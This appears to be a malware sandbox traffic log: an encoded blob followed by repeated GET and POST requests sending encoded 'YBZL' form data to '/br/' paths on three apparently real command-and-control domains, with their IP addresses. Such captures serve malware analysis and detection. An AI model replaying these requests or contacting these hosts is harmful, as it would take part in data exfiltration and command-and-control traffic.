QFmuwR82(zSmMNzuCTjiNAQJMDpaCD6lqlMKD2MILjqnWz9mYjzFwNpLp9T14lc9w07xkb8K5LHj3XI-S65Im0wnyu7y8zt-jo1UCGlUKP5A6JnTzr(h97d-~BWxG-d60-jIv5qEi9PjHzgRJ3IdlvQJJ8YDLsfuLqTrnjfTDGNd6GzRgmVdAqQUPHobSAfXuuQ361oh4BLwSkuue5CMrBaNuYBSUNB-ljjyTB9Xixi0NM4ILM9XOsGxC6jVDSpBxDXTh6NKM2dy9_3TRaHgIZZzH-MpQ3ApbJrAqywW9tM5rlnxgYf4R7vpMYHlMzPw9A9m6SG7b3u2wHs-G1DFHT0sOLSTd5HlLrGOmu6kTTAg~r2iFZ4_P5AomBWa(NDMj_4FG5ltZ6E0mjfkD89QyXGBDnHjU3j7mYUaXXmQRpyFhlJuWGb7UQ6oUqjt(65mOuWeb-~MxxRa~BSO3bqmZLGc6CB-kjftbsftclRBRQZmgCU5bRQ7Gn2YjYS54lCWG5lqGFXF4QWOvlY0N5gNytUSHAztWUICRzjg3r3PIJ(thw~M~3hN7DhF823jNzCmFA1UObjAuI4kXnXlobTbDydEKS7J5pWe55KzAVyRe7YQE43TDGCulbB7mbTPawi2tfCHZEt_iABoG8syb_YY~N0MWFPyBJI7UFz33OaH6K1J2pFOUHN0AHi7QI2NlCQEjru123IX(epBQ46PGlTl9bVP3hol5C(LakLXDF9D4CCAMfIcDo54B0SdDKzvKnuS4aTVjabLFMqWryzTSMBCSHebLxIFmeY6~5T-dv(COpirOzukcol8zzVcuUJ4NhhVBCAax9pa(brrUwSd5JQjtmEE9oCYRSXtW71GjIMZu8cpLx0lErBaIrWPNCI3Y08V16QnpLT2aByZ1aMUd6FhyBIM42NXsGe8yybL41xINUkDe3XkkszwNNZxf91GkSoLGHafyDw_(Mb-2UhrR7SOfO(GqvEKFEg21Eqr8dXZ7rnOfrXS8Ppgaw(xfb4LLnv-6GpvZhj9OBYpnAd-bvCmYsssttkIN

http://www.spitcrypt.com/br/?YBZL=6svK4JQdoLsrOQzz9bKSl4PVPylk+50MWWje1TVaxE8BrwM/n0F+kV7hbJ/W9c2cZ9oMX2St&6l=t8eT-n4PJVnxU
  • Hostname: www.spitcrypt.com
  • IP Address: 74.220.199.9
  • Port: 80
  • Count: 1

GET /br/?YBZL=6svK4JQdoLsrOQzz9bKSl4PVPylk+50MWWje1TVaxE8BrwM/n0F+kV7hbJ/W9c2cZ9oMX2St&6l=t8eT-n4PJVnxU HTTP/1.1
Host: www.spitcrypt.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.spitcrypt.com/br/
  • Hostname: www.spitcrypt.com
  • IP Address: 74.220.199.9
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.spitcrypt.com
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.spitcrypt.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.spitcrypt.com/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=yOjwmsFz~bAdJ3zBheeE9fruATAz~6IrC2a10z9FxW4dlFMTvQ149QGYCdj4g6ePYP8PQ2CiLAKxCow_6pjAwc6Ns4LKvzi500cJ7LZakBSzRhWQFpq8V5FCoflUSalsXpfg2ncL29B7bBylg6xODx~RrnexyQJrzMk2vycikBugAPz9fKEeP_6SzzMa0w4yDxV703eFbNk_5XfDM5LvYlMX4cIQKrBGyl9d11JxxMC6zcV_53Ahffa-lzkaq_eQ981XeJzX2IKy~b(H(T1_7P02~-~6k8E2PvuR5rofGdH31W6l66mEA_fEqMEFu3rEnzjKnMHWcYrXujVxobXkktB1zHaJh2(PWPKfkKnQzyhkvN4J4zIwxkiAvpAh49XkyCZDUwrAxD(E(yUP1UfVKfd-IFbDLOyTxxxOpyBbTvuQWCCtYVIJidR_fQEXkoY7jNo4Mo2wtdblrMMMSOru1iUYYJQtLas7cXlq77ttEM2lxoF7sl8FuxfXrb7rDxOJMc2SfH2NDmU6C27mppfDYmOlyNGmEi1TwiAVtenpPl0P2prz7VhQMp0RnCiARrAKVyW3j1pY8pxdTt5wGBGEvebnSDMFYjj9QKV4oMC6H6YV~lUocd6lAfBU6g7cvoJscLfyPmAJhEq-IK1_FdX0yXtsmfHiYF~nrJwc(paEDIGTOjbmwezo~mokigePXOYN6kls9NrKNd~jqXtGrjoC7-5e2ULGiy8vTnGNuiZ86yV9g1MF0-EBeq~Iv5YzJ5anxQLqHTcNXGj0nAms21VLfyzH73mHFFPcEULwsZ5PC6YHav3XqRUxjhgAsejFvICPpQQcZRUWsIhxprBF6EYMbaHT~r7v0XcHG-Y6Xk8NwjXY3E9hNL66CFd1TK8Q4eobvSfO79UlL0D4DjlabGuQzgDbUqRw0jAgU-21cWDVPlEaE-WOULkJrrQUfeJyJ90XY1232j3ffTQw(VeD5ZIFuOOwMXpuZKsjiGKSlOGcpS8_q7qgU9SsV2qxiLwpP6XvFqEpdSoTntlSgzVovo5WSsaj9qm00yiB7iyUFUf0MSnPq9keQmISXfUeM9EKI2xowpMeloD717Lx8TB-u8DyhBpp0fYT3E~EFOsMYULh6F3YekGA3JNgjzxDRNQz~mw6hSypSUUzmTzms1RWRzvKdRbkd1FHXeTt3D1GCkHQJSilLW9csJAWrw~UpJI1(68rU28uPk9RiXI3eg6E4YnI7YvTk45UR1AGVS4LM2t3lXb-eXRY9LEFlvMBM2ByBhPcWLzdtTRFsk(zVXCtT4WtAk6NV0tvgfyQx7G54SjbUA~LMRKfmGygJXU9XW(i6AYXh5xS7T1ocymjXQLVwQ5z2gJDkbiO5qJFeaITRmo53d2uRrvCkwzP3yCJKWET6kB-ZeP7VlG1XeGRqG23L6sQ9djNlg8dRWAZHeXPg-oxFoQ7BIpY6Jq74NxN~MWp67HYZl4pruos1nikbyKETRmrwD~LputLaa1qO4noQKmQ8ix7tnXUpeyhGatqFOH2u62t5CmFz-(hcHsWbMBwoVsZ1cuOKWNQ88pj6aoV0iZGseXSFSTlSdegNaqsMwlZgxWP5KpkkQJ_0RPqsSGG95NQfvIPRXZy(atuVTxRs7N89QEn(NNM3hlBDhDZ(bDr7d~V6jehFdICpNaejMMO3gw_7mqeKDMr4M9n~7LSR31wg_ornXRntEpAVT7u9Qb7qimr53tYjEa-vQ3KU8xuMV6YB-NN~QGbcecK3X~g14YHHGIodJFqOUQ5oYwasaeXZrpRFGAHMB0jcmBELrnJvK2uJP~Hjr0bDShC89oS50HIoG~gvXpQT30PqC9kQzSZCrFB4kQBGdIa6Mlanyji3FavOn8E0ejtcl(3(0qRY5fmz7q08gcOW9MDBOatWvmCeXE0ma0FFi4G(rzlXqn19sctHp1l7ch5imOHzc(kCThPSOaQi_1LNIJos6MJ41P3MZyxCgTNOc3IuC1n29Ly(xrXDZwBZxVooAFgBCJFzEflUCPnXy1U6DZduwYVmjuS9T7AirZmsyKPdbdY~YGBP4RK~RA3slUsLE7tEAn6gSgiv6hpND38k_T9V3ry20QpECqZiHfIB3PrFMOAGyrW6clHbTdjMBs3m07PHTHLPKY_xXoFct1E~vXFvrlWgL8TELPR3xXgOaPmsCtH\x00BsBUTJI

http://www.spitcrypt.com/br/
  • Hostname: www.spitcrypt.com
  • IP Address: 74.220.199.9
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.spitcrypt.com
Connection: close
Content-Length: 57162
Cache-Control: no-cache
Origin: http://www.spitcrypt.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.spitcrypt.com/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=yOjwmphZ4rFbf1LU3s3P3fbTLD05zN8ULBmT0wlJkHpCvBITnycx~AGfStj3k6azGt8HQyzHLACuKpg-7M~a8sGYwIPT~Fu61WgV~KBavhmxV3qxDbCgKJZAm-NNE9xBXLzs3jIvntpgekf6xoRKcQaS(wOzzztVwOMuzmILqgquQsL1fIojbOKr8Rts~ixFHy573GWvTqQ921HyLuf4ME8y(Z0XUoJB1jpNxU9CzNaM9slt7XFjAeLs~ExCquCz8-BhAbHs0Y~um6fz8yxn6-Eczfm6qMkvMtGZmbo8Adfz726Z66SMRdDumsEPjVfpxD7s84LGfN3XvAdYqZOq69BmzXKeql7AWPaLnavQw2NklNoG~zIw~EiGvpA549WIyB5HVwzAgjDG~HAZyGCoUPdyJHySAqC7x2dWsm5bQeaRTg6pNQ8Gt9lWRwcHkocIxY1RJN2c(tbk49hXWPrqqXwLWagWY65mc3hv7Y95FL3yk4Rr6zkBvhvg87X4HFHxN8yCYiW5KEUwCFjCuM~aDHCa5trvRSkB0QtDuuj9EGATpZvoszhMGsRP9hO4BOkHela0slhZvZtJZ5oXGj6-8YmaWjB5RHnTLfgJ77GLAdA4y211UtWeF9krxi(KkqVpRPT0LFoqw2iHcL9Ne_aV2U1ckPKSbAaGlJU37PS9OLqEXB279u(E7FwevSmpUvNxxnlYxKPNOMqC(lQ1uR1erOAn(kbehFRLTm~Buyt85xZ9qWkK3ZQKJq~OhZY_HZWJxVmzATYNcRH2kBnhxlRCSSzP5z2ySUikEXnatZFxG7wEfvXTpRUyx0YVn-v2lrbHpgVBTApTnq5h7sdMoV8LJu31(L(bi1oeNf08TXkd4GjquAEUPP2iMkNkIbVVyrJRtmaPpd42THbjXkk3bkfz2Tm9NYIy1w4MF-uQd3n7c3wETrfZG_Fcv-8TerdmPZsLJ3z36H~GXDkz~QHwuK1RseGTN3lUVugmoUyipdGLngMepaj5bd(CIgnQjuo5frPpRKg_ERhvl8h4uAlQk61-GKvy46i_xwe9kFfyCymeKVG9ro8xU2F3R4A4FPI3B3oz9_kbp6Tm3aDU4iVCi5rWpi5MyfAYgTjLFP82Y1fh51(YdTyAj5hZ8y9VReEHzXU3wg2rQ2Mgqm3zo3FTEh(EMXSHZEhOe9(w0z9gEVPnJQylS1JjppsK6FO9hJwx(pljfkYEA3Axo24iYmSv9b64wqPH0dJ_XmZGNCVwP01Crm3uF0QF~I8y4rQpXUdCHhbBZMGa1TVI1nHnaB2reufuJh3mBDEt~temy6u-nBjBE3i3UjOoyjXpBUxtaGezjC0zwa0u1yBqEzDSaQXJ61dX0GQ7uMKmloM4Qr80RF5_xMriVYTVuDS1yjauBlda(ScjOb3ORXWcReS_3H2wIZsF2N(FuDIFX3QAJ-SYlvUnE6BuFe5VpOfs(NwUrMfguJnYZlglmqEc0Q7lbjK9QXb72H6OqclWbft0CcPyVvu06yZn00vM3fmfRKd6T-6Xlryqszjqxv38cxELQ45w42ks45zyL2lMic4C8Y4JiS4FscjVFz6lftSrDauhASt3lQyf8Kxh6xBp7k29wQOGzr5UQOFOPm148d4lAhVKpIhW9gYJ9fINmQFoGgHX0aawxb7f~jqFWtEogOGsmf0B6gsUjUS0IzMh0I9KvbGOR10GmsQSnVBkl3lDVF(kmBLOrjGN~Ut0vE66mGrvda0YF2yBe_5p7SyDd_sSxwWm9b80Gz46YYNUBGISpOhstrGKOII5QFkyGl4oQBJmPMvyoI(0GviEg5ENCxNw78Rx31H2llXgk0ZuQ2o0gyxiZxygM75ww1ZNBfAd55daxjDlwlG9LGFR3evkBmnL4BzqJLX3xfHg6UROW8kJKealU9WwW1dIu5wXIDtXnomxUo(zzMUtSYFu(uhEpBWs6_~9Q3M5Ttmd1qRzWr96~axN4ByVJbXJf2LINbCJygxi79Ps~1reNY5ubT9AoC1_Oh9khkSvQwejVFVOox90vXJoxC3hznzo(eAZjCXuYa4g6drgJZlJ7Cw-syRBPEbzFg7anQRHl7NaSjbh7ND9bxbjlAhbeDCRlwe0CG76IJ~1PQmxg8oVfjB4Aicd20WcPG(iPowKhlhHdKZdjebo5a8l5cMuDcXoxyruUvXFqGMZCksHYmHSHY4jiqvNFj3qjVKKC0bAF2kjyf4xfYr7NaAr(Bg0(IJ8g2Q5XCXj(yb97v7DspZO0g0gsMC6tT78IvQlnwjf~2mwlzdMn3semu1xj89436Sbj9IvZJVpH1jk2rrCvgIaPbxgXwZC2QwR~kNGLIL5buFB0L3e~4UP9_UpYitvZn6OoDQ4lpk0OCirrWFL9zJKnEow3YwyQv206-ssVcOks_07D

http://www.chothuethietbilamphim.com/br/?YBZL=wDhN6pv2XcEhuoI+1E4pHF358HTZyQ3//b/EhR3kTh9yBxGWzyqdMYXuZqly2YH58Ba7zLwB&6l=t8eT-n4PJVnxU
  • Hostname: www.chothuethietbilamphim.com
  • IP Address: 171.244.32.220
  • Port: 80
  • Count: 1

GET /br/?YBZL=wDhN6pv2XcEhuoI+1E4pHF358HTZyQ3//b/EhR3kTh9yBxGWzyqdMYXuZqly2YH58Ba7zLwB&6l=t8eT-n4PJVnxU HTTP/1.1
Host: www.chothuethietbilamphim.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.chothuethietbilamphim.com/br/
  • Hostname: www.chothuethietbilamphim.com
  • IP Address: 171.244.32.220
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.chothuethietbilamphim.com
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.chothuethietbilamphim.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.chothuethietbilamphim.com/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=4ht3kMjyBs8V7IA_2DRScA7K7SOVlUvjl8mdtQbCWRtyHQao3GWMS8aVZMpwhurZoDC-8fFLjPOLm0DRaQkvx2Vawn4pULtN7rtJFGOjMnt3(O0B2_o8gk9tCt017r3GG3TnJa(sgaXQYcaXay4LTEO8~WG_~MF5r9UNpxS5utftk5KqLXgwr5NMO8Rkxd3r8KsFZFi73WJ-h8M0a-WNCjI2PvrQCA4stAtSbL4VLXuG91rgC1Pxfe3KzrxsolS7BUVsrDM9VofGv3eQniyeFh6yRVKT1fgkGJLVTBzQTM5fOi7kZpu4FuUP(Mn9FPyHPvolE8H7J38dXgwbLfcil1njjO2migfGZVWmtleGj0u1a3LP6wjjWrHMdD2avk4v~i2JyHj5gpi0IGkDgT758KjWFtVEo6k-Urz5A0kTtNicXcPBTVgAWnRm8-nxeAWi0ZgaXY0QWk0UlyohxawQeyOQe8IGZoMI3uyq(rCWUsKWddP98DbSmVBPmM8Jv7szQSCSu0bVJn8Spy5dJbZp2uvNNJ0CNpliSm2NdnYA2mCVBvwYzaGDdDu2VXiCJDCFlWkA8dAg6rg02i616LebKuN68irAd0lS0qATs9Ev5BPiUVcBam06ZuC9y2qBSbJmrB93nYcx08OyGtquq09DXOcy~D9LhK9PIwNFapf0Y8rwuGcqaw8zBfhHHNIl2nm6777tizm7Oqi-nm6vzh7QEFIoKX7eCA576Fp4(146xySFyDOrlKV4iDqdTrPKnWTT2PYje55WTAE_6aDzr5VYN_FQQJVo5EnbSEWQMPV3ts87GXFsBrG1dJI9aNJVno~DKCymQFGhjwRFTa7i4nw8R3dkEq~3XsGflEh-IIwMK2aWZGFKKe(BekdmNdLub_qnzZlVAJzQNYr3OvSPlAZkyKoZ1LoN2TlGfuQGzr4C~5BjBRGAiEjeMwCqXZJtcQnJMZdexudQK6e7kfsfTwzUnbRChjSrOzmfoKMRLBTGAHUopZK6(2CcGDqOkflvPg~0pHmPd_ZxqkiSs3HYb4lH3O0DGYxd~b6RB3mcowNz35uSC4ZMPOU_7cRwDEg1RNH33Bcsmvh7TS7brybqjyTxK64Q(jmdiWQOHj8MVXg4pkeY2_bg3w0gKuvsRypumgCiptLvNsT8Km3dDFgImpBmJJdHxTwREyq_9FzwLz25doj4cuxKm4rTbE00O3(v8b5_DSHw1kp0E4WSinbK8JHZ0PHuX5r0jk6EA9N2NGQd2UvqLJb1LMJhYMdlrcX-BpKfBmjNMK3RLRBkE6Y2Zqza9GKnLTmB9TZtJxkPUpSdrmVCzvkWkMfcBf~oxx8f4nWzM-E0~BmfW613gVZTBdap0yNOVas1UuPRluvcfCAj5eKTUKXk4O9-RJTmE2VAHEVGJpmo~9u5AeHjgsWlbcB68RSaeAo0m_VA1FsSGz6vIDhtKvXBf7iqbcKJaNfm3abOE5u9e4YiAHZDKrSW1mLBrbn4biLR2g2ttvSxDCSWfQQP79RZXVaUmGRc41t_O0uN~ddBRFDnOB(HglP2SrSSso0PG2oH~-w5uYXU0W4B~TNWcfost4YFmSdLi_nVYQv4EAz9zy~xKhdj8imHk6fIQ2EIYeDaxeqACt(gDvVJrVlPPHfbxNknckEBUKRL52sOrqzgVhul2JvPPUXKq-FKthkX8dh5jt0wBBwv1wK58zjRs6XoCaYGwa3NBqpvuBfDtlIaSBS1brC_lyo-hOkhzgAFgQXGs_If0cTbkAphwypPQh1TCZ(2gY3LsUJt3O4Y0OIYEfru1EG5TM7jmMkUhleuZecJS8j7M5MX(anJ3EnhzYduQhZGaxWpmAg1pSIVUggXxuVA6WpzvMf1YYHQPFs5(u~m1Gq87U(8dh9hyztiNgt-jbXH6OxTbqqsiplUcCBw(tMgSZgRn28ZySDLTW~Q9cK3~bHcc9(nrRDWB8jFoCQzi0I1HRvxX_IT7oCLE8hk0JUN3vbT~PMSh4b0LHkOTras(SiGM8YWIzUn11Yr~TboUsxaDIpdGHr0fiCWJ4(liz4yj_FkbXoOT2v5e_jAPV4QMP(qo6sCBz8TmmBkL19muaKxk2dMa7TLqwDggVn7tifYwS18QF6DADXR9fOxVD(sqZH7(WB33DyUYIOKc21kXLdDjtr3sN8GdCruJHKUW44DzxL9\x00\x00\x00\x00\x00\x00\x00\x00

http://www.chothuethietbilamphim.com/br/
  • Hostname: www.chothuethietbilamphim.com
  • IP Address: 171.244.32.220
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.chothuethietbilamphim.com
Connection: close
Content-Length: 57162
Cache-Control: no-cache
Origin: http://www.chothuethietbilamphim.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.chothuethietbilamphim.com/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=4ht3kNaFAc5TxtVPyB5CTBLB0DeM7zbq77yBtRrGb1o1DwGomUOLa8aWfMp32evtrRCm8bdtjPGIwGrQf2Zv7GQj8Hs8QJk_7OkWQy6jC3Zpx8cg0Ol9okhvW5osx5(dGSjrObfI2rvfXez-bQYHOEa_1169(vgI7sUVsxL9jI3z0bC9LSBKxKVfFexXyvv74NUFc1LmvkB8uaAsat~wDSYPIqXLdgZk~2B4Bfp2JVCaviWZP1L6Wr~or8N1o12yARNehG1DFPvKkCqkgBeWFRqMYy~Tg84mLrTdOxyOA8xtHC7yZpqwEcI1jcn_LtXba_B4Od3rLFEdXBAIPpo55lm9u-mX1H3NZVGysVWGi261fTvM4wjjdLHOdD2Svk51~kCVzHr5ipe2J1cFqlKAg6jgCsVS6LNZUsnhAVYTsdGfFILFUEgBZHV2yevfeAaRzYwsT5IBVk0Vti0yiIY6GS~Dc_5wbYYiz6au(LqgXtWkV9aIqR3Glkxox8QRiqRFTynnoR(tLm0IqBhhZppDodryV7hLYYUAWUWwc3tJuUqBZv1Q3pyXLy2rPx6AZnOAjn9I6uQp5rsnhgOj6oj8N8UH8CG2Cltw~uFim7sOvSKrdH8ZWVBqcIOm80uXU6NnjERxqeQSwcuHTOrRi0pvKdk4(VYsgL1qFyBmdIiWceGCi0wyXBATW4ttG_AX7ijp3_GZq0iMCbnMmzaT9zmED3YzDjfWCwJW6Fx08F06w2iFgwm0lsd_3jqbXrPs6GeG2NoJMp9WHnox5bD167IqTPFIWNNzr3~jSBO6K_ZNmO8kDVdSGrGybtIscN1QpJPWNy22ZU6x0jpVWJj6t2l2V39eGKzud5uo9VNCVoAmejmkdmx8Zv3JQFNNH8SrcqSI0shJWpGmVLj4A8KhkkFat_syp4gS2g9mV_ozyI1VwqF9YFeqzE(8IhahXohxd03FOr579K1KGqakndZqYTP9hJQ5mDWJGWyajckHHW~SC2NKq8ms93enZQa8l8JVGhWy8Am4IchKoWengAboTqpjmLwREI9w7autFBXXvThC7OPiGNAJCMwT5_QlDRwUYMfn8Whmu9BcAzijoAn4lTXNDdUh93yG1BwEHismVzA4qUWYsJbgwwZUE8b-RgM5hB2VuoTtIIrdI1PUR0dOuopeMbZl1n0YLTum(16NbQGOdu(4dI9lwsb-UmAje23z8KZoIBzC909VebDNggvTiabttJ76VM6olkKdM-JOMEI42FCdHJDaZ-QNHvxzkITODpeGZ1rAHaSREms9Rcs4T73S2CG7AR6UyQ11ZRcUaqyUgl1M6KlG0unKJdqF1AcMxz7iacQDwUGZcYIItU9hJ5WBqAJrWtsaIsXrvfLdekM24vWbdZqy7ddJRtPrBn1uB1JpNbWR0ryUYtK6t_6mc9Z02B~SQgIat6xH7kR9DhvcPQRDaKOuP4CEacLRMtHy(Y7OE5m5X8w3SAxJEZ6jjUrs6Ob7OXeO7FvomPWuHh2mezhOuOU8aFSqgHgEyW4YKBCK7cIqTXjMPz3v0Fb2Qbyv46cVBmBYjeAXof3YxSMZ~Qprd_x0kIMC7CpsxuHrTQ6MPg7I33PMBQVRzweHjP(MfVxUEN3UwZLJIrX3RM4UrhFAFxeagOsOSwcbQpRbz1UHpa3EGRSH8LzDZ3(Rn-5bijM169hZwdQJBx8x11GMvQbas6fvX_cNwsbXMP0R8XK8gkAmXhy5W9G0(AgLnO1h91wtlSzOseYtw9TRiAVaiz4SDmp5NKXjmtnZrwU327kc8d8hAeKW3EibHcHmhPc54xGpUvkURePvL7M_ooOu(nfCja8fXkpHUBajllNfnDkKcxpb2pwp4l9z(eX-RYLCKmsvzPTcxy2csWaHcCUf9342ZAljjbv8xewuaIaepPxlETRQ4sYCK8Nzk3Mf4CLLdU62s8iK1833Eu(B5xb1HffEggQtrlUnCBrkXOgy8p(xMZR57sUDusOZr_IEvaf5RSomfp~E(XfMDetEMDYi~kh34jvyW5R3DvggWGzICDuuN5LAjjkCg_RnGFwgVWz4ZtTVOFJFaM3orbBCVBtGolFxWVgEn6Sxr1BZTKvajCT4kjCFuWjJ0z55XD6_ajKx5eL1airW~qTd1HMu2hKlIaGXdVctN6FK1MGcpaItVHCpMGXvHJEvhFeAp9c9RRTZ3I(mp-97YxGOFxPw8qc40Nb-loLWpA76WxSJE-70Z8~LV6yhhtw2ATAUJvpaxffGS39MRZ6A8zkQCJKvfFJii3JrgWuNNa3-YfZPIqcGjrjXPxdUn6Z3MzSqcMgFCjyoRd3vSSPWk9AAhbenCo4HkEp1DgI7Be1uYJlN8QNba4bXWBeGKh8DK

http://www.netspill.net/br/?YBZL=f8ZlkJNaqFfUxAmhPgma40N8XQSBepE7REuFg2GUSuhykGmm/olWMDim64frug1+4xrOuaKk&6l=t8eT-n4PJVnxU
  • Hostname: www.netspill.net
  • IP Address: 74.50.60.92
  • Port: 80
  • Count: 1

GET /br/?YBZL=f8ZlkJNaqFfUxAmhPgma40N8XQSBepE7REuFg2GUSuhykGmm/olWMDim64frug1+4xrOuaKk&6l=t8eT-n4PJVnxU HTTP/1.1
Host: www.netspill.net
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.netspill.net/br/
  • Hostname: www.netspill.net
  • IP Address: 74.50.60.92
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.netspill.net
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.netspill.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.netspill.net/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=XeVf6uckzXuj2maWTGjktkAacAOjQZQqVgTstEmnXqlEu06c2ZpUTXTy0NLu~Cde4wPtvvPoaIH-8WZsjMYg9I4k69vYskfJ3Auko8OfrQQrEOmjVdEv4DI-Tq5O~nLUENfX2KQO798EwbloLjGxMe61dphMiE2kVKhWzoXvIzeSVFYF6z75zkglnDyhdQFA0XflQyj-ORnp~nPl5EOQZSBPe6tJ2X81G9r38-2zl4JnY8(aj0ZCdlS5tMvTOt4RQHlrUrJdNaCsulUMFrWHdnZsYU9Kfw0B36(kIu1_d42w2LZ3lgyV4SZGaaoGPSwHyBA_1lnug1rFVFkoUlzJkQaZ0UIWi3o6A0WWmFmGaabkGU80aN53uaOANefaUfdBDfvljCH8Pp6zbuLKVhBXFGSXigFcUibzW5zOLJpfm_whd00xkthteRKEkw9wRbIUL0dpoLZtVnWmqkS6yZkpPL7kVcxdStjLw59NG5cSQhM_MJaL0_wu2XwcZ4P3cjNsY0zux8LqIhkgSWrNUJcrPiN6mg5hSJvSJF2vs8bhsMbGTca7ejeN4sYWeYUUgbQHjYhVDEaH9ESq5qHIndsTA07db6j5IazT1TwH5Eerx6hUY-YZY0ZwHdNHaDpcLQe-U-YCyyFjvm1BE0Q5AyY39sM7E4mm1TtR23DkBrZ-NRn6c2l6uBJDYmll5_Adu1xAhVNevNOH0FvP0hVqG236xH1b0QoXMZK9HH8xowWiHmAFgkUBCrQiPzNyEqfdNA7Z0X6CKxPiSZ8kFqa1qIw_Sol4S0Bxr5jz9EfKOnmCuXSf0qDBDqOso9yP8gXvIXnAnCoP1b2h0ebQQJueeMdoWKzgUeewO3bAbxG90ioAE6jEhgNeoFOaSV64vT(hWGOCy8cvNgeVtsO4ZNvSdPB3EPUMp3MhgM814LHq67yfaT40(Cw1Hw5tyw1iNudhh9oKJTtu6b1fAfw95sIG0OlihKQ27C(eu9eFrH13govCm5RePNnUryXRiVGDjpJFdtJZZMwc6gZv88hKxq(N3ny0fqgeNly8Hz6K2gr6INYudOw2E9ELs2JIoZHAg-hGDy(vdUYvxXPbOQsUHPshfcZPWyiN32JkwTCI4ZbbfMuw5UkQNsWCuiOeHfEiBrPFCpcjXIuCyol9QhWzHl(yxo(vbVwkKWk6gf7XXLYcub0YNa6A8j4h2S92hDDU67KYS-apOcAMf5d2oN5sWzuU0U9xbd2z~jcFlfsencCST7pfyWs1(qvGHWBzojKsrEa9H8TDT2Q1prknd5Vzf40TFyIDfbsy4Yi8cy4jyaJTyvWW8ysL7j7XXFxb2Qpa~qpEvAOw~GzTsQ5lIomiyTYVHvCu7otpXOXgNJo8bh96FWzAZyPd~3wBjl6SP0Q-kgHBd14BfaJS(PCtJXlWjH6RzbsdTNPIFHFjItdZBOg9yFfjwb4Mxxju2m~6OnXxW-p1aJBXmqvxpZnEXNdvqlRGOsncNKH03Tjg~2fVlpMkotNiYsZ5cO2C(AHet5TNPKieg5oml9tCo5ZaWTcuG6FRS2DlSe80Drwxj4qjacoBS0TCaHJ93EGinsaJDHmPAbypuDmFrQ9lKGDEfAoqFHZe03mD8Sr3(BEib0Ct~HEcYEC57GSna84KhrCyly6Wev8pHKDXCOI8HONqu71w5QMougra8ISi91Mjg8(75rNrIwaHsUO1f0OM96SJH7yQhf2cmTDvSg8Um1zaPLcjf0Jke1mUJxRJ1dl8fL99UxPNB9Mn0GIrRsdY5RnS1xlrvO0dbU0SyawC2XTwzd25fXDxz0veM3tDIuyTVEifvBrnJsu6unuLy8Nd~5gkIsqv3BciQhUV~sraXFtqIAg17yYi2QEOyOyKnGFFYFpDigRzO4moro4aajaQki2QIfUfFq6RS_FxkWIsbkHTiezI9XuXMnNeqegrz9U_v2YUPrVFrEoae13AYE4jtiZnm4c8m4HeNLXCGA453XYkqUWH61tR2YP5mK0R2VHn8rTF8Engqobfa9nNhV5RzHFY7pYzkb8nuCH5YMJUgo4LBebKWjZrn8uQWLapFF8ex3j1vqQRTWiaFRuHXus2lFB2PhTIKd5ZqB55iU2q5jltMvgYE5As6QNbFcv0NwsZSkOMXzfbySfgDQJBpaaNBU(cHYJNWmB83ipRO3o8VviMCrz6\x00yUYIOKc

http://www.netspill.net/br/
  • Hostname: www.netspill.net
  • IP Address: 74.50.60.92
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.netspill.net
Connection: close
Content-Length: 57162
Cache-Control: no-cache
Origin: http://www.netspill.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.netspill.net/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

